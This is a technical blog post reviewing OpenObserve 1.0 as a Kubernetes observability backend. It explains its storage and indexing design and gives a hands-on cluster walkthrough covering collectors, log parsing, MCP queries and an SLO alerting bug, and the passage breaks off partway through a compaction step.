# Kubesimplify Blog — full content

> Complete text of all published articles. Canonical URL precedes each
> article; cite those URLs. Attribution: the author named in each header.

---

# Kubernetes observability in 2026 with OpenObserve 1.0 as the backend

- Canonical: https://blog.kubesimplify.com/kubernetes-observability-in-2026-with-openobserve
- Published: 2026-09-15
- Summary: A 31 ms full-text search over 4.2 million Kubernetes log rows, and a whole cluster on 43m CPU under 600 MiB: a hands-on run of OpenObserve 1.0 as the backend.

**TL;DR:** A full-text search over 4.2 million Kubernetes log rows came back in 31 ms after touching 27 MB of the 4,159 MB in range, and the whole three node cluster's telemetry ran through one [OpenObserve](https://openobserve.ai) 1.0 pod at 43m CPU and under 600 MiB. Collecting telemetry from Kubernetes is solved, paying to store and search it is not, and this post is about why the backend is where the cost lives, what a backend built on object storage and columnar files does differently, and what that looks like on a real cluster. I ran it on a kiac cluster on my Mac, read the parts of the source that matter, and hit one real bug on the way.

Every Kubernetes cluster you run is quietly producing four kinds of evidence about itself: container logs on every node, metrics from the kubelet and kube-state-metrics, traces if your apps are instrumented, and Kubernetes events, which most clusters throw away after an hour. When a pod restarts at 3 am you usually do have the data somewhere, the real question is where it went and whether you can afford to keep it there.

That second question is what we are after, so let's look at the problem, what people run today, one backend built differently, and then run it. Where a number comes from the vendor, I say so.

## Why the backend is where the money goes

![What a Kubernetes cluster emits, and where it goes](/img/blog/kubernetes-observability-in-2026-with-openobserve/01-k8s-signals-two-paths.png)

The collection side is done. In 2026 you run the OpenTelemetry Collector as a DaemonSet on every node, it reads container stdout, scrapes the kubelet, watches the API server for events and receives OTLP from your apps. The Grafana Labs Observability Survey 2026 (1,363 respondents) shows how settled that is, and where the pain moved:

| What the survey found | Share |
|---|---|
| Use OpenTelemetry for metrics / traces / logs | 57% / 50% / 48% |
| Name complexity and overhead as the biggest observability concern | 38% |
| Name cost as a top-three concern | 31% |
| Say cost is a priority when picking new tools | 65% |

So why is the backend the expensive part? Because of how the two classic designs store data.

![Where the money goes: index-heavy vs columnar on object storage](/img/blog/kubernetes-observability-in-2026-with-openobserve/02-index-heavy-vs-columnar.png)

**Index-heavy stores** like Elasticsearch build an inverted index over every field at ingest and keep hot data on replicated SSD. You pay three times: CPU to build the index, disk for index plus data plus replicas, and RAM to keep the index hot. Every new high-cardinality field makes it worse.

**Label-based stores** like Loki went the other way. They index a handful of labels and scan the rest. That is cheap until you need to query by something with many values. A pod name, a request id, a trace id: the moment you want those as query dimensions you are told to keep cardinality down, and the thing you most want to search by becomes the thing you cannot index.

**SaaS per-GB pricing** adds a third pressure. Every debug log line is a line item, so teams sample and drop, which defeats the point of collecting. And the data is getting wider: LLM traces carry tokens, prompts and cost, GPU nodes emit per-process metrics, agents make dozens of model calls per user action.

## What we run today, and what we should ask for

The default backend most of us know is the LGTM stack: Loki, Prometheus or Mimir, Tempo, Grafana. It works, and it is what I learned on. It is also four systems with four data models and four retention configurations, and correlation mostly happens by copying a trace id from one screen into another. Elastic gives you full-text search on every field and the hardware bill that comes with it. Datadog gives you everything and charges per host, per custom metric and per indexed log.

The data warehousing world solved a similar problem a few years ago. Think of your phone: you do not keep every photo you ever took on the fast internal storage, you keep them in cheap cloud storage and pull down the ones you need. Object storage is cheap and built for eleven nines of durability, columnar file formats compress well, and modern query engines scan them fast. Iceberg, DuckDB and the cloud warehouses are all built on this. An observability backend built the same way shrinks the expensive tier to only what you search, and puts everything else in a bucket.

That gives us a bar to hold any backend to:

![The bar: eight things a Kubernetes observability backend should do](/img/blog/kubernetes-observability-in-2026-with-openobserve/03-eight-point-bar.png)

1. OpenTelemetry-native ingest, plus compatibility endpoints so existing agents keep working.
2. One process on a laptop, roles on a cluster, same binary.
3. Object storage as the durable tier, in an open file format, so the data outlives the tool.
4. High cardinality as a feature: index where you search, columnar scan everywhere else.
5. SQL for logs and traces, PromQL for metrics.
6. Correlation built in: trace to logs in one click, alerts that understand SLOs.
7. Understands LLM traces coming in, and exposes itself to agents over MCP going out.
8. A clear open-source core.

## How OpenObserve is built

OpenObserve is a single Rust binary, licensed AGPL-3.0, and [Kubernetes observability](https://openobserve.ai/kubernetes-monitoring/) is the job it is most often put to. It ingests logs, metrics and traces (LLM traces included) over OTLP, RUM from its browser SDK, and keeps compatibility endpoints for Elasticsearch bulk, Loki push, Prometheus remote write and Splunk HEC. It stores everything as Parquet or Vortex files in S3, GCS, Azure Blob, MinIO or a local disk, indexes only the fields you search, and answers SQL through Apache DataFusion and PromQL with its own evaluator over the same files. Its first 1.0 release candidate landed on 28 August 2026 and 1.0.0 went GA on 11 September. The walkthrough below was run on rc1, before GA, so I went back afterwards and re-checked the two parts most likely to have moved at GA: the MCP step and a bug I hit in the SLO step. The README claims a 2 PB per day deployment and "140x lower storage cost than Elasticsearch", and the closest thing to public evidence is the vendor's own [one billion log records benchmark against ClickHouse](https://openobserve.ai/blog/openobserve-vs-clickhouse-one-billion-logs-benchmark/). These are vendor claims, so let's look at what is underneath.

Before we go inside, let's put it against the bar we set above. Read the table as OpenObserve vs Loki, OpenObserve vs Elasticsearch and OpenObserve vs the full LGTM stack in one place, because those are the backends it replaces in practice:

| | Most stacks today | OpenObserve |
|---|---|---|
| Signals | Loki, Prometheus or Mimir, Tempo, one system each | Logs, metrics, traces, RUM and LLM traces in one binary, one data model, retention set per stream in one place |
| Durable tier | Each system's own storage, its own format | Object storage holds open Parquet or Vortex files, so the data outlives the tool |
| Index | Elastic indexes every field, Loki indexes only labels | A full-text index only on the fields you search, kept as a small sidecar next to each data file, columnar scan for the rest |
| Query | LogQL, PromQL, TraceQL | SQL for logs and traces, PromQL for metrics |
| Shape | Several deployments to keep healthy | One process on a laptop, the same binary split into ingester, querier, compactor, router and scheduler roles on a cluster |

It is not a drop-in replacement for Prometheus, though. For metrics it takes the seat Thanos or Mimir take, long-term storage behind Prometheus with remote write in and PromQL out, and its PromQL engine has gaps that I list in the sharp edges section. Compare it with the whole LGTM stack, Elastic, or Datadog.

### A log line goes in

OpenObserve appends every incoming batch to a write-ahead log and an in-memory Arrow table, turns the frozen tables into Parquet or Vortex files, uploads each file to object storage with a `.ttv` full-text index beside it, and only then records the file in its `file_list` catalog.

![Write path](/img/blog/kubernetes-observability-in-2026-with-openobserve/write-path.gif)

A batch lands over HTTP, its JSON is flattened (`k8s.namespace.name` becomes `k8s_namespace_name`, which is why every screenshot has those long field names) and its schema is checked against the stream. It is appended to a write-ahead log and an in-memory Arrow table at the same time. Every 2 seconds the frozen tables become Parquet, the upload job merges the dumps of the same stream, hour and schema into one file per round, writes it to the bucket under `files/{org}/{type}/{stream}/YYYY/MM/DD/HH/`, builds a full-text index for that file as a `.ttv` object, and only then records the file in the `file_list` catalog. If the catalog database is unreachable, nothing is uploaded, and I like that a lot: a database outage cannot litter the bucket. A failure between the upload and the catalog write can still leave an object behind, so the gate closes the common case rather than every case.

Two things you should know: the WAL is flushed but not fsynced per batch by default (`ZO_WAL_FSYNC_DISABLED=true`), a fair trade for a system whose durable tier is the bucket, and the defaults in the code differ from the docs in several places (the WAL rotates at 512 MB, the docs say 64), so go by the binary you run and not the docs page.

### The index is a file next to the data

OpenObserve stores its full-text index as a separate `.ttv` file next to each Parquet or Vortex data file, a single tantivy segment inside an Apache Iceberg Puffin container.

![Anatomy of a .ttv index file](/img/blog/kubernetes-observability-in-2026-with-openobserve/06-ttv-anatomy.png)

Puffin is Iceberg's simple container format for index and statistics blobs, and tantivy is the Rust full-text search library. All configured full-text fields (`message`, `body`, `log` and friends) are concatenated into one indexed column, fields like `trace_id` are indexed whole for exact match, and `_timestamp` is a fast field. Because there is exactly one segment per data file, a document id in the index equals a row number in the data file. That one fact is what makes the query side cheap, as we will see next.

### A query comes out

OpenObserve answers a query by asking the `file_list` catalog for the files in the time range, pruning them with partition keys, bloom filters and the `.ttv` index down to a bitmap of matching rows, and handing only those rows to Apache DataFusion to read out of Parquet or Vortex.

![How a query finds your rows](/img/blog/kubernetes-observability-in-2026-with-openobserve/query-funnel.gif)

A query asks the catalog for the files that overlap the time range, splits them across queriers, and then throws away as much as it can before reading anything: files that fail the partition keys, files the bloom filters rule out, and then, using the index, everything but the matching rows. The matched row ids become a row bitmap, and the bitmap becomes a Parquet or Vortex access plan that DataFusion reads. Counts, histograms and top-N over indexed fields never open a data file at all when the file sits fully inside the query window. A background compactor merges each finished hour's small files into files of up to 2 GB and rebuilds the index, and a result cache serves repeated dashboard queries.

### What 1.0 adds

**Vortex as a file format.** `ZO_FILE_FORMAT=parquet,logs=vortex` writes logs as Vortex, a columnar format from SpiralDB that is now a Linux Foundation project, built for random access, which is exactly the shape of a "show me these 100 log lines" query. [OpenObserve's own August 2026 comparison](https://openobserve.ai/blog/openobserve-vs-clickhouse-one-billion-logs-benchmark/), one billion log records with everything but the format identical, vendor-run but public:

| Workload | Parquet | Vortex |
|---|---|---|
| Row fetch with LIMIT 100 (8 queries) | 1,114 ms | 436 ms |
| Indexed counts (8 queries) | 215 ms | 232 ms |
| Storage for 1 billion rows | 673.5 GB | 710.7 GB |

Faster on the query that hurts, a tie on counts, about 5 percent more disk. The vendor's [metrics benchmark against Prometheus and Mimir](https://openobserve.ai/blog/openobserve-vs-prometheus-mimir-metrics-benchmark/) ran the same two formats side by side as well, and there Vortex was about 3x faster on filtered histogram queries with the two formats within a gigabyte of each other on disk. OpenObserve's Vortex support only left the enterprise build in July 2026 and the crate is pinned to a git revision, so I would call it new and promising, and not the default for a reason.

**An [MCP server](https://openobserve.ai/docs/integration/ai/mcp/) that does not flood the context window.** The tool catalog is generated from the OpenAPI spec, a couple of hundred tools, but `tools/list` returns only seven: a `tool_search` over the descriptions, a `tools_call` that returns summarised responses, and five pinned tools. Authentication is your own token, so the model inherits your permissions and nothing more. This is the part of the release I was most keen to try.

Also new, and all open source: [SLOs with burn-rate alerts](https://openobserve.ai/docs/user-guide/analytics/slos/), a time index for traces so a bare trace id no longer scans everything, and LLM traces from the OpenTelemetry GenAI conventions plus Vercel AI SDK, OpenInference, Langfuse and TraceLoop-style attributes, priced at ingest from a built-in price table (custom pricing is enterprise). SSO and fine-grained RBAC, incidents, anomaly detection, the AI assistant and the service graph UI are enterprise.

![Open source vs enterprise in 1.0](/img/blog/kubernetes-observability-in-2026-with-openobserve/08-oss-vs-enterprise.png)

## Running it: a whole cluster into one binary

Let's run it. I used kiac (Kubernetes in Apple Containers), where every node is its own lightweight VM on macOS. It works the same on kind or k3d. You need kubectl, helm, jq and curl on your machine, plus Claude Code if you want the MCP step in your editor. Versions: Kubernetes v1.36.1 via kiac v0.5.1, Helm v4.1.4, and OpenObserve v1.0.0-rc1 for the original runs, though the values file in the repo now pins 1.0.0, which is what you will get. I ran the whole thing twice, on 2 and 4 September, and the step 8 numbers are from the second run, which I left up for 15 hours. Step 6 I then re-ran in full on 15 September against 1.0.0 GA, so every number in it is from the shipped release. In step 7 I re-checked only the SLO bug against GA, so that step shows the rc1 run first and the GA re-check after it, each labelled. Everything the demo uses is in one repo:

```bash
git clone https://github.com/saiyam1814/openobserve-k8s-demo
cd openobserve-k8s-demo
```

### 1. Cluster and OpenObserve

```bash
kiac create cluster --name o2 --workers 2 --memory 4G --cp-memory 4G
helm repo add openobserve https://charts.openobserve.ai
helm upgrade -i o2 openobserve/openobserve-standalone -n openobserve --create-namespace \
  -f manifests/o2-values.yaml
kubectl -n openobserve get pods,svc
```

```text
NAME                              READY   STATUS    RESTARTS   AGE
pod/o2-openobserve-standalone-0   1/1     Running   0          58s

NAME                                TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)
service/o2-openobserve-standalone   LoadBalancer   10.100.30.54   192.168.64.10   5080:30148/TCP,5081:32552/TCP
```

The chart comes from [charts.openobserve.ai](https://charts.openobserve.ai), and the values file pins the image at 1.0.0, asks for a LoadBalancer Service, and sets three things worth knowing:

```yaml
config:
  ZO_FILE_FORMAT: "parquet,logs=vortex"        # the 1.0 feature under test
  ZO_MAX_FILE_RETENTION_TIME: "60"             # demo pacing: rotate every 60s instead of 600s
  ZO_COMPACT_DELETE_FILES_DELAY_MINUTES: "10"  # demo pacing: drop compacted-away files after 10 min
```

That EXTERNAL-IP and the chart's default root user are all the later steps need, so let's put them in two variables. Change the password the moment this is more than a demo.

```bash
export O2=http://192.168.64.10:5080          # your LoadBalancer IP will differ
export AUTH='root@example.com:Complexpass#123'
```

Log in at `$O2` with that user. The home page is empty. Let's fix that.

### 2. Collect everything the cluster emits

The official collector chart installs an OpenTelemetry Collector agent as a DaemonSet and a gateway, both managed by the OpenTelemetry Operator, so cert-manager and the operator go first:

```bash
kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.19.1/cert-manager.yaml
kubectl apply -f https://github.com/open-telemetry/opentelemetry-operator/releases/download/v0.158.0/opentelemetry-operator.yaml
helm upgrade -i o2c openobserve/openobserve-collector -n openobserve-collector --create-namespace \
  -f manifests/collector-values.yaml

curl -s -u $AUTH "$O2/api/default/streams?type=logs"    | jq -r '.list[].name'
curl -s -u $AUTH "$O2/api/default/streams?type=metrics" | jq '.list | length'
```

```text
default
k8s_events
450
```

Container logs, Kubernetes events and 450 metric streams within a minute, from the kubelet, cAdvisor, kube-state-metrics and the API server. A few hours into the run, long before the fifteen-hour totals in step 8, the streams page summed up the storage story so far (the `slo_slices` and `triggers` streams come from the SLO step further down, and `checkout_archive` is a 40,000 row backfill I used to test compaction, not covered here):

![Streams page: 470 streams, 1.51 GB ingested, 102.56 MB compressed](/img/blog/kubernetes-observability-in-2026-with-openobserve/12-streams-compression.jpg)

| Streams page | Whole cluster |
|---|---|
| Ingested | 1.51 GB |
| Compressed on disk | 102.56 MB (15.1x) |
| Index | 43.41 MB |
| Container logs alone | 267.62 MB in, 11.55 MB out (23.2x) |
| OpenObserve pod, all roles | 43m CPU, 597Mi memory (`kubectl top pod`) |

### 3. An application with traces and logs

Cluster telemetry is half the picture. The other half is your own app, so I wrote a small stand-in: `checkout`, a Go HTTP service that takes an order, reserves inventory, charges a card and fails a configurable share of payments. It is under 200 lines in `app/`, instrumented with the standard OpenTelemetry Go SDK with nothing vendor-specific in the code, and it logs JSON to stdout with the trace id on every line. A load generator sends five checkouts a second.

```bash
container build -t docker.io/library/checkout:demo app     # docker build works too
kiac load image docker.io/library/checkout:demo --name o2       # kind load docker-image on kind
kubectl apply -f manifests/10-shop.yaml
kubectl -n shop logs deploy/checkout --tail=1
```

```text
{"time":"2026-09-04T05:53:06.35924046Z","level":"ERROR","msg":"payment failed","service":"checkout","version":"1.0.0","order_id":"ord-846683","amount":64.99,"gateway":"stripe-sandbox","error":"payment gateway timeout","trace_id":"a309a2bc90a055def047fb770fc2d00e","span_id":"40f0e133e5d9c8cc"}
```

In the UI, traces arrived immediately, three spans per request. From a trace, "View Logs" opens the logs page filtered on that trace id, and the three log lines of that request are right there, including the failed payment.

![A checkout trace: three spans, two errors](/img/blog/kubernetes-observability-in-2026-with-openobserve/05-trace-detail-3-spans.jpg)

![Trace to logs: the three log lines of one failed checkout](/img/blog/kubernetes-observability-in-2026-with-openobserve/06-trace-to-logs.jpg)

### 4. Parse the log body at ingest

That link needs `trace_id` to be a column, and the collector delivers each log line as one `body` string. Rather than reconfigure the collector, a realtime pipeline parses it at ingest: source stream `default`, a VRL function (Vector Remap Language, the transform language from Vector), destination stream `default`. Both objects are JSON files you POST:

```bash
curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/default/functions" \
  -d @manifests/function-parse-checkout-json.json
curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/default/pipelines" \
  -d @manifests/pipeline-parse-shop-logs.json
```

```text
{"code":200,"message":"Function saved successfully"}
{"code":200,"message":"Pipeline created successfully","id":"7500791427660513280","name":"parse-shop-logs"}
```

The function is the interesting part (abridged here, the version in the repo also copies `span_id`, `order_id`, `amount`, `gateway`, `error` and `sku`):

```text
if .k8s_namespace_name == "shop" && exists(.body) {
  parsed, err = parse_json(string!(.body))
  if err == null && is_object(parsed) {
    .level = downcase(string!(parsed.level))
    .msg = parsed.msg
    .trace_id = parsed.trace_id
  }
}
.
```

A minute later the new fields are columns, and a search over the API shows the join key sitting right there:

```bash
curl -s -u $AUTH -H 'Content-Type: application/json' "$O2/api/default/_search?type=logs" -d '{"query":{
  "sql":"SELECT level, msg, order_id, trace_id FROM \"default\" WHERE k8s_namespace_name='"'"'shop'"'"' AND level='"'"'error'"'"' ORDER BY _timestamp DESC",
  "start_time":'$(( $(date +%s) - 600 ))000000',"end_time":'$(date +%s)000000',"size":2}}' | jq -c '.hits[] | del(._timestamp)'
```

```text
{"level":"error","msg":"payment failed","order_id":"ord-648398","trace_id":"e826c2d59bc16d05923d1d654bafcd4c"}
{"level":"error","msg":"payment failed","order_id":"ord-311027","trace_id":"512dea2672432a9e4b827d48af5e1e1b"}
```

In the UI the same fields show up as facets on the left, which is what turns "grep the shop namespace" into clicking `k8s_namespace_name`, then `level`. This is 2.2K error rows in 116 ms:

![Logs page: shop namespace errors with the k8s field facets](/img/blog/kubernetes-observability-in-2026-with-openobserve/02-logs-shop-errors.jpg)

And the jump works in both directions. Expand any of those rows and there is a View Trace button on it, because the trace id is now a field:

![An expanded log row after the pipeline: parsed fields such as level, amount and error, with the View Trace button](/img/blog/kubernetes-observability-in-2026-with-openobserve/03-log-row-trace-id.jpg)

### 5. Look at the files

Now for my favourite part: the write path from earlier, in a real data directory. The image has no shell, so an ephemeral debug container that shares the process namespace gets you the filesystem through `/proc/1/root`:

```bash
kubectl -n openobserve debug o2-openobserve-standalone-0 --image=busybox:1.36 \
  --target=openobserve-standalone --container=toolbox --profile=general -- sleep 86400
kubectl -n openobserve exec o2-openobserve-standalone-0 -c toolbox -- sh -c \
  'cd /proc/1/root/data/stream && find files/default -type f | sed "s/.*\.//" | sort | uniq -c'
```

```text
   3989 parquet     <- metrics
   3674 ttv         <- an index per data file, give or take the open hour
     19 vortex      <- logs, in Vortex, written by the ingester
```

These are binary columnar files, so `cat` shows nothing useful. What identifies them is the first four bytes. Copy one file of each type out of the pod (the loop picks whatever file `find` sees first, so your names will differ) and look at those bytes:

```bash
for ext in parquet ttv vortex; do
  F=$(kubectl -n openobserve exec o2-openobserve-standalone-0 -c toolbox -- sh -c \
    "cd /proc/1/root/data/stream && find files/default -name '*.$ext' 2>/dev/null | head -1")
  kubectl -n openobserve exec o2-openobserve-standalone-0 -c toolbox -- cat "/proc/1/root/data/stream/$F" > sample.$ext
done
for f in sample.parquet sample.ttv sample.vortex; do printf '%-16s ' "$f"; head -c 4 "$f" | xxd | cut -c10-; done
```

```text
sample.parquet    5041 5231   PAR1
sample.ttv        5046 4131   PFA1
sample.vortex     5654 5846   VTXF
```

Parquet, a Puffin index container, Vortex. To look inside an index, OpenObserve ships `ttv-inspect`. With no shell in the image, that runs as a Job on the same volume (`manifests/20-ttv-inspect-job.yaml`). The Job needs two things filled in: the node that holds the volume, because a local-path volume only exists on one node, and the index file to read. Both come from `kubectl`:

```bash
NODE=$(kubectl -n openobserve get pod o2-openobserve-standalone-0 -o jsonpath='{.spec.nodeName}')
TTV=$(kubectl -n openobserve exec o2-openobserve-standalone-0 -c toolbox -- sh -c \
  "cd /proc/1/root/data/stream && find files/default/index/default_logs -name '*.ttv' 2>/dev/null | head -1")
kubectl -n openobserve delete job ttv-inspect --ignore-not-found   # a Job's template is immutable, so re-runs need this
sed -e "s#NODE_NAME#$NODE#" -e "s#TTV_PATH#/data/stream/$TTV#" manifests/20-ttv-inspect-job.yaml | kubectl apply -f -
kubectl -n openobserve wait --for=condition=complete job/ttv-inspect --timeout=180s
kubectl -n openobserve logs job/ttv-inspect
```

```text
blob_count        : 6
  row_group_size  : 131072
  segments          : 1
  total_docs        : 248318 (deleted: 0)
    _all                         text     [indexed, tokenizer=o2]
    service_name                 text     [indexed,fast, tokenizer=raw]
    trace_id                     text     [indexed,fast, tokenizer=raw]
    _timestamp                   i64      [fast]
```

One segment, 248,318 documents, and the fields `_all`, `service_name` and `trace_id`. One index file sitting beside one data file, which is the shape the write path promised.

That leaves bar item 3, and with the index accounted for, the magic bytes above are what the case rests on. `PAR1` and `VTXF` say these are Parquet and Vortex containers, `PFA1` says the index is an Iceberg Puffin blob, and four bytes are enough to rule out a private format wearing a borrowed extension. They are not enough to certify every page inside, so take it as a strong hint rather than a proof. The two formats also travel differently. Parquet is read by Spark, pandas and every warehouse you can name, while Vortex is young enough that its reader list is still short, which is one more reason the sharp edges below say to keep it on a test cluster. What holds for both is that your bucket ends up holding open formats rather than a private one, which is what you want from an archive and what you need on the day you migrate.

Worth saying plainly, because reading files out of a bucket yourself is the obvious wrong turn here: open formats are a property of the storage, not a way to work. An engine pointed straight at these files skips the catalog, the index, the bloom filters and the compactor, which is to say it skips everything that makes a query fast. To search this cluster you use OpenObserve's own query path, and the next step points an agent at exactly that.

### 6. Ask it questions over MCP

The MCP server is in the open-source build and needed no enabling on this install, so the other way into this cluster is to register it with an agent and ask in English. The setup page under IAM writes the command for you, one tab per client, and nudges you toward a read-only credential, which is good advice:

![MCP Server setup page with the claude mcp add command](/img/blog/kubernetes-observability-in-2026-with-openobserve/11-mcp-setup-page.jpg)

The Claude Code tab is a one-liner: your organisation's MCP endpoint, plus a token the page mints. Copy it, or build the same header from the credentials we exported in step 1:

```bash
claude mcp add openobserve "$O2/api/default/mcp" -t http \
  --header "Authorization: Basic $(printf %s "$AUTH" | base64)"
```

After that the question goes in the editor rather than into a SELECT. I asked it "which checkout operations threw errors in the last hour, and how many?" and it listed the streams, read the traces schema, then wrote and ran five queries of its own. This was the one that gave it the error rate:

```sql
SELECT operation_name, count(*) AS total,
       sum(case when span_status='ERROR' then 1 else 0 end) AS errors
FROM "default" WHERE service_name = 'checkout'
GROUP BY operation_name ORDER BY total DESC
```

And this is what came back, trimmed. The failures in it are mine, `checkout` drops 2 percent of payments on purpose, and this cluster had only been ingesting for a few minutes:

```text
Two operations threw errors, 52 failures each, the same 52 checkout requests.

  service   operation           spans   errors   error msg
  checkout  payment.charge      2,412      52    payment gateway timeout
  checkout  POST /checkout      2,412      52    (empty, propagated)
  checkout  inventory.reserve   2,412       0    -

104 error spans across 52 distinct trace IDs, so it is 52 failed checkouts,
not 104. payment.charge fails with a gateway timeout and the parent
POST /checkout span inherits the ERROR status with no message of its own.
inventory.reserve is clean, which puts the fault squarely at the payment
gateway boundary rather than anywhere upstream in checkout.

Failure rate: 52 / 2,412 = 2.15% of checkout requests.

One caveat on the window: the traces stream only has data from 06:51:49Z
onward, so the full-hour query is really covering ~8.5 minutes.
```

Two things in there I did not ask for and would have had to work out myself: that the 104 error spans are 52 requests rather than 104 incidents, and that my "last hour" was really about eight minutes, because the cluster was that young. Back on the setup page, the other tabs wire the same server into Cursor, VS Code and the rest.

The endpoint speaks streamable HTTP, so a curl loop is a client too, and it shows the path an agent takes. `mcp.sh` in the repo wraps one JSON-RPC call and reads `O2` and `AUTH` from step 1, so export them again if you are in a new terminal:

```bash
./mcp.sh tools/list | jq -r '.result.tools[].name'
./mcp.sh tools/call '{"name":"tool_search","arguments":{"query":"list traces with errors","limit":1}}' \
  | jq -r '.result.content[0].text | fromjson | .tools[0].name'
./mcp.sh tools/call '{"name":"tools_call","arguments":{"tool":"SearchSQL","detail":"summary","args":{"org_id":"default","type":"traces",
  "request_body":{"query":{"sql":"SELECT service_name, operation_name, count(*) AS errors FROM \"default\" WHERE span_status='"'"'ERROR'"'"' GROUP BY service_name, operation_name","start_time":'$(( $(date +%s) - 3600 ))000000',"end_time":'$(date +%s)000000',"size":10}}}}}' \
  | jq -c '.result.structuredContent.hits'
```

```text
tool_search
tools_call
GetLatestTraces
PrometheusRangeQuery
SearchSQL
StreamList
StreamSchema

GetLatestTraces

[{"service_name":"checkout","operation_name":"payment.charge","errors":61},{"service_name":"checkout","operation_name":"POST /checkout","errors":61}]
```

Three calls: the tool list, a search that turns plain intent into the right tool, and the answer. The count has moved on from the agent's 52 because the load generator kept running between the two, which is its own small reminder that "the last hour" is a moving window. I wrote that SQL by hand to show the path. The registration above is so that you do not have to.

### 7. Break an SLO

Define an SLO on the checkout traces (a good event is a `POST /checkout` span that did not end in `ERROR`, target 99 percent over 7 days), deploy a webhook echo server to receive alerts, and create the alert objects. An alert in OpenObserve is three things: a template (the payload body), a destination (where it goes) and the alert itself, so that is three POSTs, all from `manifests/alert-burn-rate.json`. A second, plain scheduled alert on error spans goes in alongside it, you will see why in a moment. Then push the failure rate to 60 percent:

```bash
kubectl apply -f manifests/30-alert-sink.yaml
curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/default/slos" \
  -d @manifests/slo-checkout-availability.json
SLO=$(curl -s -u $AUTH "$O2/api/default/slos" | jq -r '.list[0].id')
jq '.template'    manifests/alert-burn-rate.json | curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/default/alerts/templates" -d @-
jq '.destination' manifests/alert-burn-rate.json | curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/default/alerts/destinations" -d @-
jq --arg id "$SLO" '.alert | .query_condition.slo_condition.slo_id = $id' manifests/alert-burn-rate.json \
  | curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/v2/default/alerts" -d @-
curl -s -u $AUTH -H 'Content-Type: application/json' -X POST "$O2/api/v2/default/alerts" -d @manifests/alert-error-spans.json
kubectl -n shop exec deploy/loadgen -- curl -s "http://checkout.shop.svc/chaos?rate=60"
```

```text
{"code":200,"message":"SLO saved","id":"7500794280517042176","name":"checkout-availability"}
{"code":200,"message":"Template saved","id":"3IlAageUwczuTkc0FuyqEEP1dd4","name":"burn-rate-json"}
{"code":200,"message":"Destination saved","id":"3IlB8cmyOkm43oPUBBduELWjUlI","name":"alert-sink"}
{"code":200,"message":"Alert saved","id":"3IlBHI5FXraQCVx9pCYEJRwOBuX","name":"checkout-burn-rate"}
{"code":200,"message":"Alert saved","id":"3IlEZgA5TSGAwDC0Rl3spdfsGut","name":"checkout-error-spans"}
{"fail_rate_percent":60}
```

One catch you will hit: the echo server has a private cluster IP and OpenObserve blocks those as webhook destinations (SSRF protection, so a webhook cannot be pointed at internal services), so the values file sets `ZO_SKIP_SSRF_CHECKS=true`. Fine for a demo, wrong for anything internet-facing. Within a minute the SLO page, still rc1 at this point, showed 97.907 percent against 99 and "Budget blown":

![SLO page: checkout-availability, budget blown](/img/blog/kubernetes-observability-in-2026-with-openobserve/09-slo-budget-blown.jpg)

The burn-rate alert stayed quiet, and its evaluations were logged as "frozen (unobserved)". That freeze is deliberate: an SLO alert never fires or resolves while its windows are unmeasured. But the measurements were being written, and the status row the alert reads was written once at creation and never advanced afterwards. Debug logging gave the reason in one line:

```bash
kubectl -n openobserve logs o2-openobserve-standalone-0 | grep "\[slo\] pass failed"
```

```text
ERROR [slo] pass failed for 7500794280517042176 org=default: DbError# SeaORMError# Execution Error:
  error returned from database: (code: 8) attempt to write a readonly database
```

The SLO pass opens the read-only database client and then writes through it. On PostgreSQL the read-only pool falls back to the normal connection unless you point it at a replica, so most cluster deployments are fine. On SQLite, which every single-node install uses, the write fails.

I expected this to be gone by now, because 1.0.0's release notes say the storage layer "split into separate ORM read/write clients (retiring the sqlite write lock)". So I upgraded this cluster to 1.0.0 GA and ran the step again. On GA the SLO backfilled its slices, reached full coverage, computed an SLI of 98.009 percent against the 99 target, and then stopped. Twenty minutes later, with the load generator still failing 60 percent of payments, `computed_at` had not moved, `stale_watermark` was still true, the burn rate was still reading 1.99, and the same `attempt to write a readonly database` line was back in the log. The burn-rate alert never fired, because the row it reads never advanced.

So this one survived GA on the single-node path, and the reason turned out to be more interesting than the bug. The fix exists. I reported this during the rc1 run, and [the patch that closed it](https://github.com/openobserve/openobserve/pull/14192) moved that write onto the read-write client and merged into `main` on 9 September. 1.0.0 was tagged on the 11th without it: at the tag, `commit_status` still takes the read-only handle, and on `main` it does not. The backport onto the release branch landed on the 12th, one day too late for the tag, and there is no patch release yet, so the image you can pull today still has it. A release-timing miss rather than an unsolved problem. If you want working SLO alerts on a single node before that patch ships, point the metadata store at PostgreSQL instead of SQLite and keep `ZO_LOCAL_MODE=true`, because the read-only Postgres client falls back to the read-write connection and the failing write succeeds. None of it affects a cluster deployment on PostgreSQL. Plain alerts are unaffected, which is why we created the second one. The scheduled alert on the same failed spans evaluates once at creation, where it usually reports Normal, and fires on the next run a minute later, so give it that minute before reading the echo server:

```bash
kubectl -n shop logs deploy/alert-sink | jq -R -c 'fromjson? | select(.path=="/alerts") | .body | fromjson'
```

```text
{"alert":"checkout-error-spans","stream":"traces/default","org":"default","type":"scheduled","level":"critical","fired_at":"2026-09-02T06:34:44","url":"/web/short/f0a29971a7f5701d?org_identifier=default"}
```

The timestamp gives it away as the rc1 run, and plain alerts behave the same on GA.

The alerts page tells the same story in one row each: the SLO-backed alert with no outcome yet, the scheduled one showing its last result. That screenshot is from the rc1 run, and 1.0.0 behaves the same way.

![Alerts list: the SLO-backed alert with no outcome, and the scheduled alert after its first evaluation](/img/blog/kubernetes-observability-in-2026-with-openobserve/08-alerts-list.jpg)

Heal the app with `chaos?rate=2` when you are done.

### 8. Compaction, the bill, and how fast it answers

Every hour the ingester leaves behind a pile of small files, and once the hour closes the compactor merges them, rebuilds the index and writes a bloom filter sidecar. You can see both states on disk at once, the open hour and the one before it:

```bash
kubectl -n openobserve exec o2-openobserve-standalone-0 -c toolbox -- sh -c '
  cd /proc/1/root/data/stream
  PREV=$(date -u -d @$(( $(date +%s) - 3600 )) +%Y/%m/%d/%H); CUR=$(date -u +%Y/%m/%d/%H)
  echo "closed hour $PREV (KB, file)"
  du -ak files/default/logs/default/$PREV files/default/index/default_logs/$PREV files/default/bloom/default_logs/$PREV | grep "\."
